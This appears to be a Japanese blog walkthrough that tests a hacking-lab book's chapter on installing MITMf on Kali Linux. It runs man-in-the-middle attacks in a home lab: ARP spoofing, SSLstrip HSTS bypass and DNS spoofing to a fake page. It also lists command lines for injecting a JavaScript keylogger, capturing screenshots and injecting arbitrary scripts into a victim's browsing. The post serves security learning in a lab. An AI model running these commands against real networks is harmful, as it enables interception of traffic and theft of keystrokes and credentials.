はじめに
「ハッキング・ラボのつくりかた」(IPUSIRON著)を参考に、KaliLinux2022.1でもうまくいくか検証している記事です。
今回は、同書のp.487-498をもとにしています。MITMfのインストールと、それを用いた中間者攻撃の実験をします。
MITMfは中間者攻撃を支援するフレームワークです。SSLstrip攻撃を実装していて、暗号化されたhttps/sslをパイパスする機能があります。
MITMfのインストール
以前、インストールを試みたところ、難渋したあげく、失敗してしまった。
しかし、今回もう一度試してみたところ、うまく動作した!!
諦めかけていたところなので、個人的には嬉しい。
やったほうが良い事前準備
KaliLinuxの仮想マシンにスナップショットかクローンを作成しておくと良いかもしれない。
MITMfのインストールに際して、さまざまなdebパッケージ、pipパッケージ、仮想環境の導入、設定ファイルの変更が行われる。パッケージ関係がきれいな状態のスナップショットかクローンを、VirtualBoxの機能を使用して保存しておく。
インストール
1,root権限になってから、リポジトリとパッケージの更新を行う。
sudo -i
//または、次のコマンドでrootになっておく。
sudo su -
apt update && apt upgrade
もし、このパッケージの更新で、KaliLinuxの再起動が推奨されたら、再起動を行う。
場合によっては、非常に時間がかかる(数時間)場合もあるので、留意しておく。
個人的な経験として、apt upgrade
をかけた時に、パッケージの更新が数百MBぐらい必要とされて、なおかつmetasploit-framework関係のパッケージ更新も必要な場合なら、非常に時間がかかる。
もし、再起動させたら、端末を立ち上げ直したあと、sudo -i
などでrootになっておく。
2,pythonのバージョンについて把握しておく。特に、python2系が使用できることを確認する。
file `which python` && python -V
/usr/bin/python: symbolic link to python3
Python 3.10.4
KaliLinux2022.1でpython
のコマンドを実行するときに呼び出されるのは、python3
であることがわかる。
次に、
file `which python2` && python2 -V
/usr/bin/python2: symbolic link to python2.7
Python 2.7.18
また、ls -al /usr/bin/python*
やfile /usr/bin/python*
を実行すると、
python -> python3 -> python3.10
python2 -> python2.7
といった具合に、シンボリックリンクが形成されていることが確認できる。細かなバージョンの違いはあるが、python2系とpython3系の確認をしておく。
3,次に、必要なパッケージをインストールする。pwd
でカレントディレクトリが/root/であることを確認しておく。
apt install python2-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone4 libcapstone-dev libffi-dev
apt install python3-pip
4, virtualenvwrapperのインストールと設定を行う。
pip install virtualenvwrapper
vim .zshrc
//もし、bashや他のshellを使用していたなら、そのシェルのスタートアップファイル".SHELL名rc"を編集
vim .bashrc
VIRTUALENVWRAPPER_PYTHON=/usr/bin/python
source /usr/local/bin/virtualenvwrapper.sh
編集内容は、bashなどでも同じ。
5, MITMf用の環境を仮想環境をつくる。MITMfをgitからクローンする。
mkvirtualenv MITMf -p /usr/bin/python2
git clone https://github.com/byt3bl33d3r/MITMf
cd MITMf
git submodule init
git submodule update --recursive
mkvirtualenv MITMf -p /usr/bin/python2.7
の-pオプションは、"/usr/bin/python2"と指定しても良いかもしれない。前述のコマンドと記述に統一感が出る。
which python
,which python2
,which pip
,which pip2
コマンドで、pythonのコマンドがどこにあるかを確認しておく。正常にmitmfの仮想環境が立ち上がっていたら、/root/.virtualenvs/ディレクトリ以下にある。
6, requirement.txtを編集した後、pipパッケージをインストール
一応、バックアップを作る。
cp requirements.txt requirements.txt.old
requirements.txtの1行目のみを編集する。
git+https://github.com/kti/python-netfilterqueue
netfilterqueue
その後、pip
コマンドで必要なパッケージをインストールする。
pip install -r requirements.txt
もし、エラーが起きたら、requirementsにかかれているパッケージを一つずつインストールしてみる。
7, うまく起動できるかどうかを確認する。
6で新しく立ち上げた端末内で、次のコマンドを実行する。
python mitmf.py
python /root/MITMf/mitmf.py -v
MITMfでキャプチャを実行する
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --hsts
- -i : KaliLinuxのネットワークインターフェース名を指定
- --arp : ARPスプーフィングを使うために、トラフィックをリダイレクトする
- --spoof : Spoofプラグインをロードする
- --gateway : ゲートウェイ(ルーター)のIPアドレスを指定
- --target : ターゲットやられPCのIPアドレスを指定
- --hsts : SSLstrip+プラグインをロードする
--hstsオプション無しだと、SSLstripプラグインがロードされて起動する。
ターゲットの挙動として、インターネットが繋がらなくなる。(厳密には、非常に遅くなってタイムアウトする)
また、MITMfの実行中は、kaliLinuxの"/etc/sys/net/ipv4/ip_forward"が"1"と成っていて、IP転送機能が有効になっている。MITMfを終了すると、"0"となって、無効になる。
DNSスプーフィング
DNSへのURLの問い合わせに対して、偽の情報を越えさせる攻撃。
ターゲットを偽のサイトに誘導できる。
偽サイト作成
cd /var/www/html/
sudo cp index.html index.html.org
sudo rm index.html
sudo vim index.html
書き換える内容
<html>
<!Doctype html>
<head>
<title>偽ページ</title>
<meta charset=utf-8>
</head>
<body>
<h1>DNSスプーフィングによって表示される偽のページです。</h1>
</body>
</html>
Apache2の再起動
sudo systemctl restart apache2
MITMfの設定ファイルを編集する
"/root/MITMf/config/mitmf.conf"を編集する。
40行目周辺のAレコードの設定を書き換える。www.akademia.infoが192.168.1.100を指し示すようにするだけ。他のところはいじらない。
[[[A]]] # Queries for IPv4 address records
*.thesprawl.org=192.168.178.27
#*.captive.portal=192.168.1.100
www.akademia.info=192.168.1.100
DNSスプーフィング
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --dns
- -i : KaliLinuxのネットワークインターフェース名を指定
- --arp : ARPスプーフィングを使うために、トラフィックをリダイレクトする
- --spoof : Spoofプラグインをロードする
- --gateway : ゲートウェイ(ルーター)のIPアドレスを指定
- --target : ターゲットやられPCのIPアドレスを指定
- --dns : DNSスプーフィングを実行
ターゲットのブラウザからwww.akademia.infoにアクセスする。
しかし、同サイトが表示されない、若しくはつながらない。
MITMfのログには、アクセスがある。
赤い枠で囲ったところが、エラーの原因か・・・
などと思ったところで、Ctrl+CでDNSスプーフィングを停止したところで、偽サイトが表示された・・・。
挙動がよくわからん・・・
その他のテクニック
同書の内容を紹介だけ
- 画像を逆さまにする
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --upsidedownternet
- ブラウザの表示をスクショする
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --screen --interval <sec>
- キーロガーを埋め込む
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --jskeylogger
ファイル出力したいなら、>> ./keylog.txt
を、最後に付け加えてリダレクトとする。
- Code Injection(Injectionプラグイン)
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --inject --js-file <jsスクリプトのパス>
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --inject --js-url <jsスクリプトのURL>
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --inject --js-payload "<javascriptのコード>"
JavascriptまたはHTMLをwebページに注入する。
おわりに
結局、あんまりうまくいかなかった気がする。BeEfがうまくいけるか不安。
参考にしたもの
「ハッキング・ラボのつくりかた」(IPUSIRON著)